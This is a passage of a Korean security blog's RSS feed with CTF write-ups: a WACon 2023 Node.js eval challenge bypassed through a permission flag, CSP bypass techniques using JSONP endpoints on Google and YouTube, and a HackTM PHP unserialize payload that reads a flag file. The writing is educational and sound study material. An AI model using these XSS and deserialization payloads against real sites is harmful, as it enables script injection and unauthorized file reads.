&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제를 풀기 위해서는 eval.js 파일의 `eval()` 함수를 통해 flag를 읽어야 하는 문제 입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1693744948217&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const express = require(&quot;express&quot;);
const bodyParser = require(&quot;body-parser&quot;);
const session = require(&quot;express-session&quot;);
const child_process  = require(&quot;child_process&quot;);

const crypto = require(&quot;crypto&quot;);
const random_bytes = size =&amp;gt; crypto.randomBytes(size).toString();
const sha256 = plain =&amp;gt; crypto.createHash(&quot;sha256&quot;).update(plain.toString()).digest(&quot;hex&quot;);

const users = new Map([
    [],
]);

const now = () =&amp;gt; { return Math.floor(+new Date()/1000) }
const checkoutTimes = new Map()

const app = express();

app.use(bodyParser.json());
app.use(
    session({
        cookie: { maxAge : 600000 },
        secret: random_bytes(64),
    })
);

const loginHandler = (req, res, next) =&amp;gt; {
    if(!req.session.uid) {
        return res.redirect(&quot;/&quot;)
    }
    next();
}

app.all(&quot;/&quot;, (req, res) =&amp;gt; {
    return res.json({ &quot;msg&quot; : &quot;hello guest&quot; });
});

app.post(&quot;/login&quot;, (req, res) =&amp;gt; {
    const { username, password } = req.body;

    if ( typeof username !== &quot;string&quot; || typeof password !== &quot;string&quot; || username.length &amp;lt; 4 || password.length &amp;lt; 6) {
        return res.json({ msg: &quot;invalid data&quot; });
    }

    if (users.has(username)) {
        if (users.get(username) === sha256(password)) {
            req.session.uid = username;

            return res.redirect(&quot;/&quot;);
        } else {
            return res.json({ msg: &quot;Invalid Password&quot; });
        }
    } else {
        users.set(username, sha256(password));
        req.session.uid = username;
        return res.redirect(&quot;/&quot;);
    }
});

app.post(&quot;/calc&quot;, (req,res) =&amp;gt; {
	// if(checkoutTimes.has(req.ip) &amp;amp;&amp;amp; checkoutTimes.get(req.ip)+1 &amp;gt; now()) {
	// 	return res.json({ error: true, msg: &quot;too fast&quot;})
	// }
	// checkoutTimes.set(req.ip,now())

    const { expr, opt } = req.body;
    const args = [&quot;--experimental-permission&quot;, &quot;--allow-fs-read=/app/*&quot;];

    const badArg = [&quot;--print&quot;, &quot;-p&quot;, &quot;--input-type&quot;, &quot;--import&quot;, &quot;-e&quot;, &quot;--eval&quot;, &quot;--allow-fs-write&quot;, &quot;--allow-child-process&quot;, &quot;-&quot;, &quot;-C&quot;, &quot;--conditions&quot;]
    
    console.log(expr)
    console.log(opt)

    if (!expr || typeof expr !== &quot;string&quot; ) {
        return res.json({ msg: &quot;invalid data&quot; });
    }

    if (opt) {
        if (!/^--[A-Za-z|,|\/|\*|\=|\-]+$/.test(opt) || badArg.includes(opt.trim())) {
            return res.json({ error: true, msg: &quot;Invalid option&quot; });
        }
        args.push(opt, &quot;eval.js&quot;, btoa(expr));
    }

    args.push(&quot;eval.js&quot;, btoa(expr));

    console.log(&quot;================&quot;)
    console.log(args)
    console.log(&quot;================&quot;)
	try {
		ps = child_process.spawnSync(&quot;node&quot;, args);
        result = ps.stdout.toString().trim();
        if (result) {
            return res.type(&quot;text/plain&quot;).send(result)
        } 
        return res.type(&quot;text/plain&quot;).send(&quot;Empty&quot;);
	} catch (e) {
        console.log(e)
        return res.json({ &quot;msg&quot;: &quot;Nop&quot; })
    }
});

app.listen(8001);&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1693744984773&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const fs = require(&quot;fs&quot;);
let filter = null;
try {
    filter = fs.readFileSync(&quot;config&quot;).toString();
} catch(e) {console.log(e)}

const expr = process.argv.pop();
const regex = new RegExp(filter);
if (regex.test(expr)) {
    console.log(&quot;Nop&quot;);
} else {
    console.log(eval(expr));
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1693745001300&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// config file

[^\+|\*|-|%|\/|\d+|0-9]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`--allow-fs-read` 옵션에서 `,` 를 이용하여 여러개의 경로에 `FillSystemRead` 권한을 부여할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/C0pMa/btssSANOtqn/bNBFq46UdiSHpkzGQ36E1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/C0pMa/btssSANOtqn/bNBFq46UdiSHpkzGQ36E1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/C0pMa/btssSANOtqn/bNBFq46UdiSHpkzGQ36E1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FC0pMa%2FbtssSANOtqn%2FbNBFq46UdiSHpkzGQ36E1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;276&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, 다음과 같이 `--allow-fs-read=/app/eval*` 옵션을 전달하면 eval.js 파일에 대해서만 File Read가 가능합니다. 이때, eval.js 파일에서는 `config` 파일을 읽지 못해 사용자가 전달한 `expr` 파라미터를 검증할 수 없어 임의의 코드를 실행할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1241&quot; data-origin-height=&quot;471&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2kTM8/btss3IJ0vcK/P5IbCb26C0LiuTQbKFhgC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2kTM8/btss3IJ0vcK/P5IbCb26C0LiuTQbKFhgC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2kTM8/btss3IJ0vcK/P5IbCb26C0LiuTQbKFhgC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2kTM8%2Fbtss3IJ0vcK%2FP5IbCb26C0LiuTQbKFhgC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1241&quot; height=&quot;471&quot; data-origin-width=&quot;1241&quot; data-origin-height=&quot;471&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 `/flag*` 를 추가하여 flag를 획득할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1468&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctoIjk/btssUHyqyE3/xsfHMi6ZzpT6KAWyMKhrYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctoIjk/btssUHyqyE3/xsfHMi6ZzpT6KAWyMKhrYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctoIjk/btssUHyqyE3/xsfHMi6ZzpT6KAWyMKhrYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctoIjk%2FbtssUHyqyE3%2FxsfHMi6ZzpT6KAWyMKhrYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1468&quot; height=&quot;594&quot; data-origin-width=&quot;1468&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category> CTF</category>
      <category>Content-Disposition bypass</category>
      <category>CSP</category>
      <category>ctf</category>
      <category>Write Up</category>
      <author>Universe7202</author>
      <guid isPermaLink="true">https://universe-blog.tistory.com/257</guid>
      <comments>https://universe-blog.tistory.com/entry/WACon2023-CTF-Write-up#entry257comment</comments>
      <pubDate>Sun, 3 Sep 2023 21:52:43 +0900</pubDate>
    </item>
    <item>
      <title>ctf 문제를 통해 CSP bypass 정리하기</title>
      <link>https://universe-blog.tistory.com/entry/ctf-%EB%AC%B8%EC%A0%9C%EB%A5%BC-%ED%86%B5%ED%95%B4-CSP-bypass-%EC%A0%95%EB%A6%AC%ED%95%98%EA%B8%B0</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GQDQf/btr3HTclKoB/K4IASE3rby0ypP3j0qJ8NK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GQDQf/btr3HTclKoB/K4IASE3rby0ypP3j0qJ8NK/img.jpg&quot; data-alt=&quot;쿠키 냠냠&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GQDQf/btr3HTclKoB/K4IASE3rby0ypP3j0qJ8NK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGQDQf%2Fbtr3HTclKoB%2FK4IASE3rby0ypP3j0qJ8NK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;576&quot; height=&quot;324&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;쿠키 냠냠&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;1. 업로드 기능을 활용한 bypass&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에 다음과 같이 CSP가 적용되어 있다고 가정해 봅시다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`script-src` 지시자에는 `self` 와&amp;nbsp; 랜덤한 `nonce` 값이 설정되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, `&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;` 와 같은 payload는 `nonce` 값이 없기 때문에 실행이 되지 않습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1678024797626&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
    $nonce = base64_encode(sha1(RandomString()));
    $CSP = array(
        &quot;default-src 'self'&quot;,
        &quot;script-src 'self' 'nonce-$nonce'&quot;
    );
    header(&quot;Content-Security-Policy: &quot; . join(&quot;; &quot;, $CSP));

    echo $_GET[&quot;data&quot;];
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 우회하기 위해서는 `self`를 이용하면 됩니다. 만약 서버에 js 파일을 업로드 할 수 있거나, 사용자가 입력한 값만 그대로 출력하는 페이지가 있다면, 이를 이용하여 bypass 할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 bypass payload는 다음과 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1678025150561&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost:8080/test.php?data=&amp;lt;script src=&quot;/ping?pong=alert(document.domain)&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2. JSONP API를 활용한 bypass&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JSONP를 지원하는 origin이 CSP에 지정되어 있다면, 다음과 같은 Origin으로부터 악용이 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2-1. accounts.google.com&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 CSP가 설정되어 있다고 가정합시다.&lt;/p&gt;
&lt;pre id=&quot;code_1678113847044&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;script-src self accounts.google.com&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`accounts.google.com` origin에는 다음과 같은 JSONP를 지원합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`callback` 파라미터에 `alert(1);` 를 넣게 되면, 아래 사진처럼 응답을 받을 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc1YAQ/btr2r314Xn4/KuJTeXkZB0OyLvqmb4sBi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc1YAQ/btr2r314Xn4/KuJTeXkZB0OyLvqmb4sBi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc1YAQ/btr2r314Xn4/KuJTeXkZB0OyLvqmb4sBi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc1YAQ%2Fbtr2r314Xn4%2FKuJTeXkZB0OyLvqmb4sBi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1984&quot; height=&quot;492&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서, 이를 이용하여 다음과 같은 payload로 xss를 트리거 할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1678114179529&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/test.php?data=&amp;lt;script src='https://accounts.google.com/o/oauth2/revoke?callback=alert(1);'&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2.2 youtube.com&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 CSP가 설정되어 있다고 가정합시다.&lt;/p&gt;
&lt;pre id=&quot;code_1678715163976&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;script-src self youtube.com&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;youtube.com 호스트만 허용된 상태입니다. 이것도 마찬가지로 JSONP 를 이용한 XSS가 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이와 관련된 문제는 다음 링크에 있습니다.&lt;/p&gt;
&lt;figure id=&quot;og_1678715634055&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;hacktm ctf 2023 writeup&quot; data-og-description=&quot;1. [web] Blog cookie 값을 &amp;#96;unserialize()&amp;#96; 하고 있다. 이를 활용하여 취약한 클레스를 찾다 보니, &amp;#96;Profile&amp;#96; 클래스가 눈에 들어왔다. &amp;#96;file_get_contents()&amp;#96; 함수가 &amp;#96;$this-&amp;gt;picture_path&amp;#96; 맴버 변수 값을 통해 파일을 읽&quot; data-og-host=&quot;lactea.kr&quot; data-og-source-url=&quot;https://lactea.kr/entry/hacktm-ctf-2023-writeup#3.-[web]-crocodilu&quot; data-og-url=&quot;https://lactea.kr/entry/hacktm-ctf-2023-writeup&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bZNF6P/hyRU2RQJ8t/ds7cZ1LelTzYqjm61KBU20/img.png?width=150&amp;amp;height=150&amp;amp;face=0_0_150_150,https://scrap.kakaocdn.net/dn/o0IeK/hyRVdTkX2J/FY61H3n9PbK2okwHVuSmO0/img.png?width=150&amp;amp;height=150&amp;amp;face=0_0_150_150,https://scrap.kakaocdn.net/dn/FkNhr/hyRU6mnK2e/WN9Q5wlMqqWRU2oH7n1Iy1/img.png?width=1006&amp;amp;height=466&amp;amp;face=0_0_1006_466&quot;&gt;&lt;a href=&quot;https://lactea.kr/entry/hacktm-ctf-2023-writeup#3.-[web]-crocodilu&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://lactea.kr/entry/hacktm-ctf-2023-writeup#3.-[web]-crocodilu&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bZNF6P/hyRU2RQJ8t/ds7cZ1LelTzYqjm61KBU20/img.png?width=150&amp;amp;height=150&amp;amp;face=0_0_150_150,https://scrap.kakaocdn.net/dn/o0IeK/hyRVdTkX2J/FY61H3n9PbK2okwHVuSmO0/img.png?width=150&amp;amp;height=150&amp;amp;face=0_0_150_150,https://scrap.kakaocdn.net/dn/FkNhr/hyRU6mnK2e/WN9Q5wlMqqWRU2oH7n1Iy1/img.png?width=1006&amp;amp;height=466&amp;amp;face=0_0_1006_466');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;hacktm ctf 2023 writeup&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;1. [web] Blog cookie 값을 `unserialize()` 하고 있다. 이를 활용하여 취약한 클레스를 찾다 보니, `Profile` 클래스가 눈에 들어왔다. `file_get_contents()` 함수가 `$this-&amp;gt;picture_path` 맴버 변수 값을 통해 파일을 읽&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;lactea.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;pre id=&quot;code_1678715729991&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script src=&quot;https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&amp;amp;format=json&amp;amp;callback=alert(1)&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가 예정&lt;/p&gt;</description>
      <category> Security</category>
      <category>CSP</category>
      <category>web</category>
      <author>Universe7202</author>
      <guid isPermaLink="true">https://universe-blog.tistory.com/256</guid>
      <comments>https://universe-blog.tistory.com/entry/ctf-%EB%AC%B8%EC%A0%9C%EB%A5%BC-%ED%86%B5%ED%95%B4-CSP-bypass-%EC%A0%95%EB%A6%AC%ED%95%98%EA%B8%B0#entry256comment</comments>
      <pubDate>Mon, 13 Mar 2023 23:00:22 +0900</pubDate>
    </item>
    <item>
      <title>hacktm ctf 2023 writeup</title>
      <link>https://universe-blog.tistory.com/entry/hacktm-ctf-2023-writeup</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;1. [web] Blog&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cookie 값을 `unserialize()` 하고 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;547&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QHTnz/btr0faVVCfB/mB7Wk3ksCabKpHN3Orasq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QHTnz/btr0faVVCfB/mB7Wk3ksCabKpHN3Orasq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QHTnz/btr0faVVCfB/mB7Wk3ksCabKpHN3Orasq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQHTnz%2Fbtr0faVVCfB%2FmB7Wk3ksCabKpHN3Orasq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;547&quot; height=&quot;244&quot; data-origin-width=&quot;547&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 활용하여 취약한 클레스를 찾다 보니, `Profile` 클래스가 눈에 들어왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`file_get_contents()` 함수가 `$this-&amp;gt;picture_path` 맴버 변수 값을 통해 파일을 읽으려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, `Profile` 클래스의 `picture_path` 맴버 변수를 이용하여 flag 값을 읽으면 문제를 해결할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;591&quot; data-origin-height=&quot;154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qu5rE/btrZ9NneQdx/kwXg3rmdZsGJtrLFwRkjHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qu5rE/btrZ9NneQdx/kwXg3rmdZsGJtrLFwRkjHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qu5rE/btrZ9NneQdx/kwXg3rmdZsGJtrLFwRkjHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQu5rE%2FbtrZ9NneQdx%2FkwXg3rmdZsGJtrLFwRkjHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;591&quot; height=&quot;154&quot; data-origin-width=&quot;591&quot; data-origin-height=&quot;154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1676960131161&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;O:4:&quot;User&quot;:2:{s:7:&quot;profile&quot;;O:7:&quot;Profile&quot;:2:{s:8:&quot;username&quot;;s:8:&quot;universe&quot;;s:12:&quot;picture_path&quot;;s:46:&quot;/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt&quot;;}s:5:&quot;posts&quot;;a:0:{}}

HackTM{r3t__toString_1s_s0_fun_13c573f6}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2. [web] Blog Revenge&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아마 Blog 문제가 출제자의 의도와 맞지 않게 풀려서, flag 파일 위치만 바꿔 다시 출제한 것으로 판단된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 writeup이 어디에 있는지는 모르겠지만, 다른 사람들은 sqlite query문을 통해 php 파일을 만들고 RCE를 했다고 한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sqlite는 `ATTACH DATABASE` 라는 구문이 존재한다. 이에 대한 설명은 아래 사이트에 설명이 되어있다.&lt;/p&gt;
&lt;figure id=&quot;og_1676962218851&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;SQLite ATTACH DATABASE with Examples&quot; data-og-description=&quot;This tutorial shows you how to use the SQLite ATTACH DATABASE statement to associate additional databases with the current database connection.&quot; data-og-host=&quot;www.sqlitetutorial.net&quot; data-og-source-url=&quot;https://www.sqlitetutorial.net/sqlite-attach-database/&quot; data-og-url=&quot;https://www.sqlitetutorial.net/sqlite-attach-database/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.sqlitetutorial.net/sqlite-attach-database/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.sqlitetutorial.net/sqlite-attach-database/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;SQLite ATTACH DATABASE with Examples&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;This tutorial shows you how to use the SQLite ATTACH DATABASE statement to associate additional databases with the current database connection.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.sqlitetutorial.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
